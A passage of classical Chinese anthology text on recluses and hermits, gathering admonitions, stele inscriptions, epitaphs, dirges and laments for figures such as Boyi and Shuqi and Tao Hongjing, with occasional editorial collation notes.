谦 . 人 神 同 符 . 危 由 忽 安 . 溢 缘 释 虚 . 苟 识 妙 膏 . 厥 美 有 腴 . 韩 信 耽 齐 . 殒 首 钟 室 . 子 房 辞 留 . 高 迹 卓 逸 . 贵 不 足 荣 . 利 不 足 希 . 华 繁 则 零 . 乐 极 则 悲 . 归 数 明 白 . 势 岂 容 违 . 人 徒 知 所 以 进 . 而 忘 所 以 退 . 穣 侯 安 宠 . 襄 公 失 爱 . 始 乘 夷 道 . 终 婴 其 类 . 羲 和 升 而 就 翳 . 望 舒 满 而 就 亏 . 盈 挹 之 分 . 自 然 之 规 . 悠 悠 庶 人 . 如 何 弗 疑 . 幽 人 守 虚 . 仰 钻 玄 远 . 敢 草 斯 箴 . 敬 咨 黻 冕 .\n晋 江 逌 逸 民 箴 曰 . 至 人 应 务 . 是 统 是 营 . 乃 制 上 下 . 以 牧 群 生 . 君 位 孰 在 . 匪 圣 伊 明 . 贤 愚 相 奉 . 臣 主 以 成 . 如 彼 百 节 . 各 役 天 形 . 率 分 委 质 . 仰 应 一 情 . 心 膂 有 位 . 股 肱 有 经 . 岂 以 处 下 . 为 戚 为 荣 . 各 安 其 所 . 举 体 用 平 . 夫 设 爵 列 土 . 悬 弓 垂 旌 . 卑 尊 之 级 . 贵 贱 之 名 . 匪 以 恣 物 之 欲 . 寔 大 猷 而 是 经 . 处 遁 之 士 . 奚 眷 于 时 . 行 矣 先 觉 . 捐 俗 长 辞 . 明 乎 忧 患 . 故 超 尔 不 疑 . 解 发 灵 崖 . 被 褐 弦 丝 . 飘 飘 台 上 . 轻 举 高 之 . 穆 穆 二 仲 . 携 策 相 期 . 盘 幽 隐 寂 . 与 物 无 治 . 凡 厥 后 来 . 顺 乃 所 往 . 鉴 兹 俗 累 . 戒 于 颠 荡 . 无 殉 外 物 . 心 烦 披 养 . 无 弃 恬 旷 . 忧 勤 是 掌 . 林 人 司 箴 . 敢 进 善 党 .\n【 志 】 梁 陶 隐 居 寻 山 志 曰 . 倦 世 情 之 易 绕 . 乃 杖 策 而 寻 山 . 既 沿 幽 以 达 峻 . 穷 实 阻 而 备 艰 . 眇 来 心 其 未 已 . 方 际 夕 乎 云 根 . 欣 夫 得 志 者 忘 形 . 遗 形 者 神 存 . 于 是 散 发 解 带 . 盘 旋 岩 上 . 心 容 旷 朗 . 气 宇 条 畅 . 玄 虽 远 其 必 存 . 累 无 大 而 必 忘 . 害 马 之 弊 既 去 . 解 牛 之 刀 乃 王 . 荆 门 昼 掩 . 蓬 户 夜 开 . 室 迷 夏 草 . 径 惑 春 苔 . 庭 虚 月 映 . 琴 响 风 哀 . 夕 鸟 依 檐 . 暮 兽 争 来 . 时 复 历 近 垄 . 寻 远 峦 . 坐 盘 石 . 望 平 原 . 日 负 障 以 共 隐 . 月 披 云 而 出 山 . 风 下 松 而 含 曲 . 泉 萦 石 而 生 文 . 草 靃 靃 以 拂 露 . 尘 飒 飒 而 来 群 . 扪 虚 萝 以 入 谷 . 傍 洪 潭 而 比 清 . 照 石 壁 以 端 色 . 攀 桂 枝 而 齐 贞 . 函 扈 兰 而 佩 蕙 . 及 春 鴃 之 未 鸣 . 且 含 怀 以 屏 气 . 待 惠 风 而 舒 情 . 遂 乃 陵 岩 峭 . 至 松 门 . 背 通 林 . 面 长 源 . 右 联 山 而 无 际 . 左 凭 海 而 齐 天 . 草 泫 泫 以 垂 露 . 柳 依 依 而 近 蝉 . 鸟 双 双 以 赴 水 . 鹭 轩 轩 而 归 田 .\n梁 刘 孝 标 山 栖 志 曰 . 夫 鸟 居 山 上 . 曾 巢 木 末 . 鱼 潜 川 下 . 窟 穴 沙 泥 . 岂 好 异 哉 . 盖 性 然 也 . 故 有 忽 白 璧 而 乐 垂 纶 . 负 玉 鼎 而 要 卿 相 . 行 藏 纷 纠 . 显 晦 踳 駮 . 无 异 火 炎 水 流 . 圆 动 方 息 . 斯 则 庙 堂 之 与 江 海 . 蓬 户 之 与 金 阖 . 并 然 其 所 然 . 悦 其 所 悦 . 余 每 思 濯 清 濑 . 息 椒 丘 . 寤 寐 永 怀 . 其 来 尚 矣 . 所 居 东 阳 郡 金 华 山 . 山 川 秀 丽 . 皋 泽 坱 郁 . 若 其 群 峰 叠 起 . 接 汉 连 霞 . 乔 林 布 濩 . 春 青 冬 绿 . 回 溪 映 流 . 则 千 仞 洞 底 . 肤 ○ 原 讹 庸 . 据 冯 校 本 改 . 寸 云 合 . 必 千 里 雨 散 . 所 住 三 面 . 山 皆 周 绕 . 有 象 郛 郭 . 南 则 平 野 萧 条 . 极 目 通 望 . 东 西 带 二 涧 . 则 四 时 飞 流 泉 . 澜 清 微 澍 . 滴 沥 生 响 . 白 波 跳 沫 . 汹 涌 成 音 . 枫 楮 椅 枥 之 树 . 梓 柏 桂 樟 之 木 . 分 形 异 色 . 千 族 万 种 . 结 朱 实 . 苞 绿 里 . 摇 白 蒂 . 抽 紫 茎 . 橚 矗 苯 . 梢 风 鸣 籁 . 垂 柯 檐 户 . 布 叶 房 栊 . 中 谷 涧 滨 . 华 葩 攒 列 . 至 于 青 春 受 谢 . 萍 生 泉 动 . 则 都 梁 含 馥 . 怀 香 送 芬 . 长 乐 负 霜 . 宜 男 泫 露 . 芙 蕖 红 菙 . 照 水 皋 苏 . 缥 叶 从 风 . 凭 轩 永 眺 . 蠲 忧 忘 疾 . 岁 始 年 季 . 农 隙 时 闲 . 浊 醪 初 济 . 缥 清 新 ○ 据 广 弘 明 集 二 十 四 新 字 下 有 熟 字 . 则 有 田 家 野 老 . 提 壶 共 至 . 班 荆 林 下 . 陈 樽 置 爵 . 酒 酣 耳 热 . 屡 舞 嚾 呶 . 盛 论 箱 庾 . 高 谈 谷 稼 . 不 求 于 世 . 不 迕 万 物 . 莫 辨 荣 辱 . 匪 知 毁 誉 . 浩 荡 天 地 之 闲 . 心 无 怵 惕 之 警 .\n【 训 】 魏 繁 钦 禄 里 先 生 训 曰 . 处 则 抗 区 外 之 志 . 出 则 规 非 常 之 功 . 寔 哲 士 之 高 趣 . 雅 人 之 远 图 . 故 吕 尚 垂 翼 北 海 . 以 待 鹰 扬 之 任 . 黄 绮 削 迹 南 山 . 以 集 神 器 之 赞 .\n【 讥 】 魏 麋 元 讥 许 由 曰 . 潜 居 默 静 . 隐 于 箕 山 . 身 在 布 衣 . 而 轻 天 下 . 世 人 归 其 高 行 . 学 者 以 为 美 谈 . 夫 际 会 之 闲 . 矫 时 所 誉 . 至 乃 抽 簪 散 发 . 背 时 逆 命 . 隐 于 山 林 之 中 . 以 此 自 高 . 非 以 劝 智 能 之 士 . 入 通 远 之 教 . 故 讥 而 责 之 曰 . 太 上 贵 德 . 其 次 立 功 . 世 殊 时 异 . 不 得 而 同 . 故 伯 禹 过 门 而 不 入 . 稷 契 刻 节 而 奋 庸 . 股 肱 帝 室 . 作 民 王 公 . 今 子 生 圣 明 之 世 . 得 观 雍 熙 之 法 . 则 当 摅 不 朽 之 功 . 畅 不 羁 之 志 . 龙 飞 凤 起 . 修 摄 君 司 . 佐 天 理 物 . 干 成 王 事 . 若 子 以 尧 为 闇 主 . 则 历 代 载 其 功 . 以 民 为 贪 乱 . 则 比 屋 可 封 . 若 夫 世 浊 时 昏 . 上 无 贤 君 . 忠 臣 不 出 . 小 人 聚 群 . 即 当 拨 烦 理 乱 . 跨 腾 风 云 . 光 显 时 主 . 拔 济 生 民 . 何 得 偃 蹇 . 藏 影 蔽 身 . 夫 道 不 虚 行 . 士 不 徒 生 . 生 则 干 时 . 为 国 之 桢 . 故 伊 尹 干 汤 . 周 公 相 成 . 兴 治 济 世 . 以 致 太 平 . 生 有 显 功 . 没 有 美 名 . 人 生 于 世 . 贵 能 立 功 . 何 得 逃 位 . 矫 世 绝 踪 . 丹 朱 不 肖 . 朝 有 四 凶 . 尧 放 求 贤 . 逊 位 于 子 . 度 才 处 分 . 不 能 则 已 . 何 所 感 激 . 临 河 洗 耳 . 山 居 巢 处 . 执 心 不 倾 . 辞 君 之 禄 . 忘 君 之 荣 . 居 君 之 地 . 避 君 之 庭 . 立 身 若 此 . 非 子 之 贞 . 欲 言 子 智 . 则 不 仕 圣 君 . 欲 言 子 高 . 则 鸟 兽 同 群 . 无 功 可 纪 . 无 事 可 论 .\n【 铭 】 晋 虑 ○ 按 当 作 卢 . 播 阮\n籍 铭 曰 . 峨 峨 先 生 . 天 挺 无 欲 . 玄 虚 恬 澹 . 混 齐 荣 辱 .\n荡 涤 秽 累 . 婆 娑 止 足 . 胎 胞 造 化 . 韬 光 缊 韣 . 鼓 桌 沧 浪\n. 弹 冠 峤 岳 . 颐 神 太 素 . 简 旷 世 局 . 澄 之 不 清 . 溷 之 不\n浊 . 翱 翔 区 外 . 遗 物 度 俗 . 隐 处 臣 室 . 友 真 归 朴 . 汪 汪\n川 原 . 迈 迹 图 箓 .\n后 汉 蔡 邕 伯 夷 叔 齐 碑 曰 . 惟 君 之 质 . 体 清 良 兮 . 昔 佐 殷 姬 . 忠 孝 彰 兮 . 委 国 损 爵 . 谏 国 匡 兮 . 讥 武 伐 纣 . 欲 喻 匡 兮 . 时 不 可 救 . 历 运 苍 兮 . 追 念 先 侯 . 受 命 皇 兮 . 忧 怀 感 兮 . 虽 没 不 朽 . 名 兮 芳 兮 .\n又 郭 泰 碑 曰 . 先 生 诞 膺 天 衷 . 聪 睿 明 哲 . 孝 友 温 恭 . 仁 慈 惠 敏 . 夫 其 器 量 弘 深 . 姿 度 广 大 . 浩 浩 焉 . 汪 汪 焉 . 奥 乎 不 可 测 已 . 于 时 缨 緌 之 徒 . 绅 佩 之 士 . 望 形 表 而 景 附 . 聆 嘉 声 而 响 臻 者 . 犹 百 川 之 归 巨 海 . 鳞 介 之 宗 龟 龙 也 . 方 将 蹈 鸿 崖 之 遐 迹 . 绍 巢 许 之 绝 轨 . 翔 区 外 以 舒 翼 . 超 天 衢 以 高 峙 . 铭 曰 . 懿 乎 其 纯 . 确 乎 其 操 . 洋 洋 缙 绅 . 言 观 其 高 . 栖 迟 秘 丘 . 善 诱 能 教 . 恭 恭 ○ 本 集 作 赫 赫 . 三 事 . 几 何 其 招 . 委 辞 名 员 . ○ 本 集 作 召 贡 . 保 此 清 妙 .\n又 玄 文 先 生 李 休 碑 曰 . 休 少 以 好 学 . 游 心 典 谟 . 既 综 七 经 . 又 精 群 纬 . 絇 深 极 奥 . 穷 览 圣 旨 . 居 则 玩 其 辞 . 动 则 玩 其 变 . 云 物 不 显 . 必 考 其 占 . 故 能 独 见 前 识 . 以 先 神 意 . 若 古 今 常 难 . 疑 议 错 谬 . 前 人 所 希 论 . 后 学 所 不 觉 . 休 尽 剖 判 . 处 约 不 戚 . 闻 宠 不 欣 . 荣 不 能 华 . 威 不 能 震 . 有 惠 云 载 . 惟 邦 之 珍 . 按 典 考 论 . 号 曰 玄 文 .\n又 处 士 圈 典 碑 曰 . 天 真 淑 性 . 精 微 周 密 . 包 括 道 要 . 致 思 无 形 . 临 殁 顾 命 曰 . 知 我 者 蔡 邕 . 乃 为 铭 曰 . 载 书 休 美 . 俾 来 昆 裔 . 永 有 讽 诵 . 以 知 先 生 之 德 . 混 其 若 浊 . 徐 然 后 清 . 绰 其 若 焕 . 终 其 益 贞 .\n又 翟 先 生 碑 曰 . 世 以 仁 义 为 质 . 学 问 为 业 . 爰 暨 先 生 . 固 天 纵 德 . 应 运 立 言 . 继 期 五 百 . 实 行 形 于 州 里 . 明 哲 与 圣 合 契 . 该 通 五 经 . 洗 洞 坟 籍 . 为 万 里 之 场 圃 . 九 隩 之 林 泽 . 挹 之 若 江 湖 . 仰 之 若 华 光 . 玄 玄 焉 测 之 则 无 源 . 汪 汪 焉 酌 之 则 不 竭 . 可 谓 生 民 之 英 者 已 . 国 失 元 傅 . 学 失 表 式 . 凡 百 搢 绅 . 哀 矣 泣 血 . 人 百 其 身 . 匪 云 来 复 . 于 是 乡 党 乃 相 与 登 山 伐 石 而 勒 铭 曰 . 邈 矣 先 生 . 厥 德 孔 真 . 腹 心 弘 道 . 深 高 入 神 . 王 锡 三 命 . 观 国 之 宾 . 其 树 富 贵 . 忽 若 浮 云 . 既 不 降 志 . 亦 不 辱 身 .\n魏 刘 桢 处 士 国 文 甫 碑 曰 . 先 生 执 干 灵 之 贞 资 . 禀 神 祇 之 正 性 . 咳 笑 则 孝 悌 之 端 着 . 匍 匐 则 清 节 之 兆 见 . 龆 以 及 成 人 . 体 无 懈 容 . 口 无 愆 辞 . 兢 兢 业 业 . 小 心 思 忌 . 勤 让 同 俦 . 敬 事 长 老 . 虽 周 之 乐 正 子 春 . 汉 之 江 都 董 相 . 其 饬 躬 力 行 . 无 以 尚 之 . 是 以 长 安 师 其 仁 . 朋 友 钦 其 义 . 闺 门 推 其 慈 . 宗 属 怀 其 惠 . 既 乃 潜 身 穷 岩 . 游 心 载 籍 . 薄 世 名 也 . 初 海 内 之 乱 . 不 视 膳 羞 . 十 有 余 年 . 忧 思 泣 血 . 不 胜 其 哀 . 形 销 气 竭 . 以 建 安 十 七 年 四 月 卒 . 于 时 龙 德 逸 民 . 黄 发 实 叟 . 缀 文 通 儒 . 有 方 彦 士 . 莫 不 拊 心 长 号 . 如 丧 同 生 . 咸 以 为 诔 所 以 昭 行 也 . 铭 所 以 旌 德 也 . 古 之 君 子 . 既 没 而 令 问 不 亡 者 . 由 斯 二 者 也 . 铭 曰 . 懿 矣 先 生 . 天 授 德 度 . 外 清 内 白 . 如 玉 之 素 . 逍 遥 九 皋 . 方 回 是 慕 . 不 计 治 萃 . 名 与 殊 路 . 知 我 者 希 . 韫 椟 未 酤 . 丧 过 乎 哀 . 遘 疾 不 悟 . 早 世 永 颓 . 违 此 荣 祚 . 咨 尔 末 徒 . 聿 修 叹 故 .\n齐 孔 稚 珪 褚 先 生 百 玉 碑 曰 . 夫 河 洛 摛 宝 . 神 道 之 功 传 . 华 ○ 华 下 有 脱 字 . 吐 秘 . 仙 灵 之 迹 可 睹 . 盖 事 详 于 玉 牒 . 理 焕 于 金 符 . 虽 冥 默 难 源 . 显 晦 异 轨 . 测 心 观 古 . 可 得 而 言 焉 . 是 以 子 晋 笙 歌 . 驭 凤 于 天 海 . 王 乔 云 举 . 控 鹤 于 玄 都 . 亦 有 羽 化 蜕 蝉 . 触 影 遁 形 . 神 翥 帝 宫 . 迹 留 剑 杖 . 游 瑶 池 而 不 返 . 宴 玄 圃 以 忘 归 . 永 嘉 恶 道 者 . 穷 地 之 险 也 . 欹 窦 遏 日 . 折 石 横 波 . 飞 浪 突 云 . 奔 湍 急 箭 . 先 生 攀 途 跻 阻 . 宿 枻 涉 圻 . 而 衡 飙 夜 鼓 . 山 洪 暴 激 . 忽 乃 崩 舟 坠 壑 . 一 倒 千 仞 . 飘 地 沦 篙 . 翻 透 无 底 . 徒 侣 判 其 冰 碎 . 舟 子 悲 其 雹 散 . 危 魂 中 夜 . 赴 阻 相 寻 . 方 见 先 生 . 恬 然 安 席 . 铭 曰 . 关 西 升 妙 . 洛 右 飞 英 . 凤 吹 金 阙 . 箫 歌 玉 京 . 绝 封 万 古 . 乃 既 先 生 . 先 生 浩 浩 . 唯 神 其 道 . 泉 石 依 情 . 烟 霞 入 抱 . 秘 影 穷 岫 . 孤 栖 幽 草 . 心 图 上 玄 . 志 通 大 造 .\n梁 元 帝 隐 居 先 生 陶 弘 景 碑 曰 . 昔 大 和 中 . 有 许 远 游 者 . 乃 云 霄 之 胜 宾 . 大 虚 之 选 客 . 先 生 规 同 矩 合 . 实 踵 高 步 . 曩 基 先 构 . 即 驾 胥 宇 . 千 寻 危 耸 . 凭 牖 以 望 奔 星 . 百 拱 高 悬 . 倚 棂 而 观 朝 日 . 飞 流 界 道 . 似 天 汉 之 横 波 . 触 石 起 云 . 若 奇 峰 之 出 岫 . 铭 曰 . 肇 彼 冥 默 . 翻 成 协 赞 . 身 托 外 臣 . 心 同 有 乱 . 重 道 遵 德 . 爰 积 叡 衷 . 顾 怀 汾 射 . 玺 问 遥 通 . 朱 杨 郁 起 . 华 构 方 崇 . 静 台 冠 月 . 经 榭 迎 风 . 嶕 峣 高 栋 . 育 霭 脩 栊 . 极 望 山 川 . 周 观 京 陆 . 碧 嶂 千 岭 . 清 流 万 谷 . 景 落 重 崖 . 烟 生 岫 复 .\n梁 劭 陵 王 萧 纶 贞 白 先 生 陶 弘 景 碑 曰 . 夫 夜 光 结 绿 . 非 胠 箧 之 恒 珍 . 逸 羽 翔 鳞 . 岂 园 池 之 近 玩 . 宁 期 心 于 远 大 . 盖 不 知 其 所 以 然 也 . 道 风 与 星 汉 同 高 . 胜 气 与 烟 霞 共 远 . 深 壑 危 峭 . 组 织 烟 霞 . 枕 石 漱 流 . 山 禽 无 桡 . 采 药 耦 耕 . 野 兽 不 乱 . 朗 犹 悬 镜 . 郁 似 贞 筠 .\n梁 裴 子 野 刘 虬 碑 曰 . 受 川 岳 之 英 灵 . 有 清 明 之 淑 性 . 淡 乎 若 深 泉 之 静 . 皓 乎 若 寒 霜 之 洁 . 千 仞 不 足 议 其 高 . 万 顷 不 足 畴 其 量 . 在 其 幼 也 . 孝 敬 淳 深 . 贯 乎 幽 显 . 庐 乎 墓 所 . 而 暴 兽 去 之 . 墟 里 赖 焉 . 樵 苏 无 犯 . 及 其 长 也 . 捧 檄 动 容 . 薄 游 下 邑 . 甘 露 零 于 丰 草 . 蒲 密 致 于 时 雍 . 有 以 见 贤 人 之 行 . 动 天 地 . 感 鬼 神 . 明 疾 乎 影 响 . 如 斯 之 者 美 矣 . 夫 声 名 籍 甚 . 群 公 侧 席 . 凿 室 林 皋 . 面 流 傍 陇 . 咫 尺 荆 衡 . 表 里 巫 梦 . 树 蕙 滋 兰 . 芜 没 庭 户 . 平 畴 翠 潋 . 千 里 极 目 . 信 物 外 之 神 区 . 幽 居 之 胜 境 . 昔 许 子 将 谓 太 丘 道 广 . 广 则 不 周 . 仲 举 性 峻 . 峻 则 少 纳 . 峻 而 纳 . 广 而 周 . 君 于 二 陈 . 折 其 中 矣 . 其 所 修 孔 氏 之 学 . 则 儒 者 师 之 . 所 明 释 氏 之 教 . 则 净 行 传 之 . 所 着 文 集 . 则 辞 人 录 之 . 铭 曰 . 滔 滔 江 汉 . 实 纪 南 国 . 笃 生 居 士 . 高 明 柔 克 . 峨 峨 其 道 . 巍 巍 其 德 . 曰 仁 曰 义 . 惟 民 惟 则 . 筑 室 皋 壤 . 考 槃 郛 郭 . 坐 卧 山 樊 . 啸 歌 林 薄 . 亲 致 甘 旨 . 躬 餐 上 药 . 优 哉 游 哉 . 且 以 行 乐 . 九 丘 八 索 . 百 家 群 史 . 西 河 疑 圣 . 华 阴 成 市 . 悠 哉 荆 梦 . 逖 矣 江 濆 . 辎 軿 结 辙 . 羔 雁 成 群 . 监 观 令 范 . 式 如 金 玉 . 君 子 徽 猷 . 谁 其 与 属 . 畴 咨 故 老 . 遵 扬 实 录 .\n【 墓 志 】 梁 简 文 帝 征 君 何 先 生 墓 志 曰 . 先 生 履 玉 烛 之\n祯 气 . 应 大 贤 之 一 期 . 实 生 而 知 机 . 抚 尘 斯 庶 . 敬 非 习\n起 . 孝 乃 因 心 . 聚 徒 教 习 . 学 侣 成 群 . 与 沛 国 刘 瓛 汝 南\n周 颙 为 友 . 陆 琏 贺 玚 之 徒 . 更 道 北 面 . 永 明 中 . 王 文 宪\n俭 . 受 诏 撰 礼 . 未 竟 而 卒 . 属 在 司 徒 文 宣 王 . 王 以 让 先\n生 . 因 广 加 刊 缉 . 故 以 含 文 燕 居 . 说 六 典 五 恩 之 义 . 或\n齐 侯 所 不 镇 . 孟 嘉 所 未 知 . 皆 折 兹 大 物 . 成 此 良 教 . 小\n人 道 长 . 每 讽 考 槃 之 诗 . 君 子 道 消 . 便 执 天 山 之 筮 . 乃\n毁 车 挂 冠 . 拂 衣 东 岭 . 始 居 若 耶 . 来 从 秦 望 . 今 上 经 纶\n天 地 . 权 舆 鼎 业 . 始 征 为 军 谋 祭 酒 .\n实 允 文 若 之 举 . 且 光 彦 先 之 选 . 又 征 特 进 右 光 禄 大 夫 . 高 尚 其 事 . 确 乎 不 拔 . 玄 纁 徒 往 . 束 帛 虚 归 . 而 给 白 衣 尚 书 禄 . 固 辞 不 受 . 卒 窆 乎 其 山 . 正 衾 在 殡 . 嗤 镂 器 与 玉 衣 . 尧 典 入 棺 . 耻 密 章 及 书 绶 . 知 与 不 知 . 并 怀 惋 怆 . 咸 以 人 亡 素 楷 . 礼 坠 文 章 . 洙 泗 颓 经 . 扶 风 罢 学 . 关 西 疑 圣 之 德 . 自 此 长 沦 . 高 松 引 风 之 气 . 于 兹 永 息 . 余 昔 在 殊 方 . 亟 枉 翰 迹 . 钦 风 味 道 . 迄 淹 岁 时 . 既 而 位 阻 桂 宫 . 涂 乖 咫 尺 . 不 获 拥 经 步 至 . 问 春 卿 之 痾 . 徐 轮 三 反 . 入 杜 夷 之 舍 . 痛 祥 云 之 灭 采 . 悲 列 曜 之 晞 晖 . 追 勒 高 乡 . 乃 为 铭 曰 . 文 范 高 世 . 玄 晏 绝 伦 . 复 有 令 德 . 远 之 与 均 . 谁 与 均 此 . 呜 呼 哲 人 . 第 五 肥 遁 . 余 轨 尚 遵 . 司 空 开 学 . 其 风 不 泯 . 传 兹 孝 敬 . 曰 悌 且 仁 . 气 高 琼 岳 . 心 虚 谷 神 . 括 羽 儒 囿 . 舟 舆 席 珍 . 既 游 慧 水 . 兼 引 法 轮 . 谈 扇 犹 在 . 鸣 琴 尚 陈 . 如 何 不 慭 . 德 素 长 沦 . 寂 寥 岩 穴 . 荒 凉 渭 滨 . 桥 曰 只 鸡 . 徐 称 酹 素 . 余 钦 夫 子 . 风 期 夙 着 . 蓄 思 含 毫 . 传 芳 写 誉 . 沉 础 虽 贞 . 玄 泉 无 曙 .\n又 华 阳 陶 先 生 墓 志 曰 . 若 夫 真 以 归 空 为 美 . 送 以 无 形 为 贵 . 不 知 悦 生 . 大 德 所 以 为 生 . 不 知 恶 死 . 谷 神 所 以 不 死 . 妙 矣 哉 . 隐 显 变 化 . 则 物 莫 之 测 . 既 而 岫 开 折 石 . 天 坠 玉 棺 . 银 书 息 简 . 流 珠 罢 灶 . 九 节 丽 于 空 中 . 千 和 焚 于 地 下 . 仙 宫 有 得 朋 之 喜 . 受 学 震 临 谷 之 悲 . 余 昔 在 粉 壤 . 早 逢 汜 上 之 术 . 今 簉 元 良 . 屡 禀 浮 丘 之 教 . 握 留 符 而 恻 怆 . 思 化 杖 而 酸 情 . 乃 为 铭 曰 . 无 名 曰 道 . 不 死 为 仙 . 以 有 元 则 . 兼 称 稚 川 . 猗 欤 夫 子 . 受 录 归 玄 . 灾 传 苑 吏 . 书 因 贾 舡 . 郁 郁 方 崖 . 悠 悠 洞 天 . 三 山 白 鹤 . 何 时 复 旋 .\n梁 元 帝 庾 先 生 承 先 墓 志 曰 . 悠 哉 掌 庾 . 兴 自 陶 唐 . 伯 舅 居 晋 . 连 镳 渭 阳 . 爰 斯 厥 后 . 世 挺 珪 璋 . 乃 登 灵 岳 . 言 遵 洞 府 . 乃 陟 石 山 . 将 从 轻 举 . 实 惟 贞 吉 . 实 惟 退 让 . 皎 皎 不 群 . 超 超 高 尚 . 本 同 寿 夭 . 宁 论 得 丧 . 诸 方 未 游 . 佳 城 已 望 . 蓬 生 蒋 径 . 钓 罢 磻 溪 . 槚 悲 新 陇 . 桃 余 故 蹊 . 风 翻 岭 背 . 月 下 松 西 . 扬 名 不 朽 . 高 蹈 夷 齐 .\n【 诔 】 鲁 柳 下 惠 妻 柳 下 惠 诔 曰 . 夫 子 之 不 伐 兮 . 夫 子 之 不 竭 兮 . 三 黜 终 不 弊 兮 . 恺 悌 君 子 . 永 能 厉 兮 . 嗟 兮 惜 哉 . 乃 下 世 兮 . 晋 张 华 烈 文 先 生 鲍 玄 泰 诔 曰 . 于 铄 烈 文 . 续 蕤 皇 祚 . 夏 后 基 命 . 灵 根 已 固 . 杞 鄫 既 微 . 枝 离 叶 布 . 爰 暨 叔 牙 . 世 赞 齐 风 . 翼 桓 济 管 . 遂 登 霸 功 . 越 在 汉 隆 . 三 司 并 纵 . 烈 考 中 丞 . 妙 世 显 名 . 峨 峨 先 生 . 诞 资 英 俊 . 淑 质 清 醇 . 兰 芳 玉 润 . 抗 行 崇 邈 . 游 心 大 顺 . 允 文 文 明 . 聪 昭 秀 哲 . 启 冥 演 幽 . 守 文 命 世 . 抱 道 冲 虚 . 执 义 贞 厉 . 栖 迟 无 闷 . 不 营 不 拔 . ○ 全 晋 文 五 十 八 作 忮 . 拟 志 云 霄 . 致 命 穷 达 . 行 为 范 轨 . 言 成 隐 括 . 宜 登 遐 年 . 弘 此 徽 猷 . 济 济 搢 绅 . 永 挹 清 流 . 取 识 遗 音 . 目 想 表 仪 . 孰 云 玄 泰 . 曾 不 我 知 . 感 伤 慷 慨 . 挥 涕 渗 澌 . 已 矣 鲍 子 . 宁 尔 玄 阴 . 振 声 竹 帛 . 永 播 徽 音 .\n晋 陆 机 吴 贞 献 处 士 陆 君 诔 曰 . 我 闻 有 命 . 天 禄 有 秩 . 如 斯 吉 人 . 而 有 斯 疾 . 兄 弟 之 恩 . 离 形 合 气 . 矧 我 与 君 . 年 相 亚 逮 . 绸 缪 之 游 . 自 蒙 及 朗 . 孩 不 贰 音 . 抱 或 同 襁 . 抚 髫 并 育 . 携 手 相 长 . 行 焉 比 迹 . 诵 必 共 响 . 庶 君 偕 老 . 灵 根 克 固 . 拊 翼 云 霄 . 双 飞 天 路 . 人 皆 年 长 . 君 独 短 祚 . 谷 则 同 朝 . 游 矣 先 暮 .\n晋 处 士 刘 参 妻 王 氏 夫 诔 曰 . 猗 猗 嘉 颖 . 朝 阳 方 翘 . 烈 风 严 霜 . 殒 此 秀 条 . 琁 玑 倏 忽 . 四 序 竞 征 . 清 商 激 宇 . 蟋 蟀 吟 棂 .\n宋 颜 延 之 陶 征 士 诔 曰 . 夫 琁 玉 致 美 . 不 为 池 湟 之 宝 . 桂 椒 信 芳 . 而 非 园 林 之 实 .\n【 吊 】 后 汉 胡 广 吊 夷 齐 曰 . 遭 亡 辛 之 昏 虐 . 时 缤 纷 以 芜 秽 . 耻 降 志 于 污 君 . 溷 雷 同 于 荣 势 . 抗 浮 云 之 妙 志 . 遂 蝉 蜕 以 偕 逝 . 徼 六 军 于 河 渚 . 叩 王 马 而 虑 计 . 虽 忠 情 而 指 尤 . 匪 天 命 之 所 谓 . 赖 尚 父 之 戒 慎 . 镇 左 右 而 不 害 .\n魏 王 粲 吊 夷 齐 文 曰 . 岁 旻 秋 之 仲 月 . 从 王 师 以 南 征 . 济 河 津 而 长 驱 . 逾 芒 阜 之 峥 嵘 . 览 首 阳 于 东 隅 . 见 孤 竹 之 遗 灵 . 心 于 悒 而 感 怀 . 意 惆 怅 而 不 平 . 望 坛 宇 而 遥 吊 . 抑 悲 古 之 幽 情 . 知 养 老 之 可 归 . 忘 除 暴 之 为 世 . 洁 己 躬 以 骋 志 . 愆 圣 哲 之 大 伦 . 忘 旧 恶 而 希 古 . 退 采 薇 以 穷 居 . 守 圣 人 之 清 概 . 要 既 死 而 不 渝 . 厉 清 风 于 贪 士 . 立 果 志 于 懦 夫 . 到 于 今 而 见 称 . 为 作 者 之 表 符 . 虽 不 同 于 大 道 . 今 尼 父 之 所 誉 .\n魏 阮 瑀 吊 伯 夷 曰 . 余 以 王 事 . 适 彼 洛 师 . 瞻 望 首 阳 . 敬 吊 伯 夷 . 东 海 让 国 . 西 山 食 薇 . 重 德 轻 身 . 隐 景 潜 晖 . 求 仁 得 仁 . 报 之 仲 尼 . 没 而 不 朽 . 身 沈 名 飞 .\n魏 靡 ○ 太 平 御 览 五 百 九 十 六 作 糜 . 元 吊 夷 齐 曰 . 少 承 洪 烈 . 从 戎 于 王 . 侧 闻 先 生 . 处 于 首 阳 . 敢 不 敬 吊 . 寄 之 山 冈 . 夫 五 德 更 运 . 天 祚 靡 常 . 如 见 绝 代 之 主 . 必 有 受 命 之 王 . 故 尧 德 终 于 虞 舜 . 禹 祚 灭 于 成 汤 . 且 夏 后 之 末 礼 . 亦 殷 氏 之 所 亡 . 若 周 武 而 为 失 . 则 帝 乙 亦 有 伤 . 子 不 弃 殷 而 饿 死 . 何 独 背 周 而 深 藏 . 是 识 春 香 之 为 馥 . 而 不 知 秋 兰 之 亦 芳 也 . 首 阳 谁 山 . 而 子 匿 之 . 彼 薇 谁 菜 . 而 子 食 之 . 行 周 之 林 . 读 周 之 书 . 弹 周 之 琴 . 饮 周 之 水 . 食 周 之 芩 . 而 谤 周 之 主 . 谓 周 之 淫 . 是 诵 周 之 文 . 听 圣 之 音 . 居 圣 之 世 . 而 异 圣 之 心 . 嗟 乎 二 子 . 何 痛 之 深 .\n【 祭 文 】 宋 谢 惠 连 为 学 生 祭 周 居 士 文 曰 . 维 君 陶 造 化 之 纯 元 . 侔 先 哲 之 遐 踪 . 体 无 事 于 高 尚 . 蹈 虚 素 乎 中 庸 . 不 臣 天 子 . 不 事 诸 侯 . 公 辟 弗 盻 . 王 命 匪 酬 . 穷 欢 极 乐 . 带 索 被 裘 .\n【 诏 】 梁 沈 约 为 武 帝 搜 访 隐 逸 诏 曰 . 高 尚 其 志 . 义 焕 通 爻 . 山 林 不 出 . 训 光 惇 史 . 朕 听 朝 晏 罢 . 尚 想 幽 人 . 蒲 玉 之 礼 . 伫 闻 峻 节 . 可 班 下 州 郡 . 博 讯 巡 远 . 若 有 道 映 丘 园 . 事 孚 高 尚 . 可 以 弭 竞 迁 浇 . 还 风 拯 俗 . 皆 以 名 闻 . 靡 或 遗 漏 . 朕 将 辟 衢 室 而 置 几 杖 . 开 东 序 而 授 衮 职 . 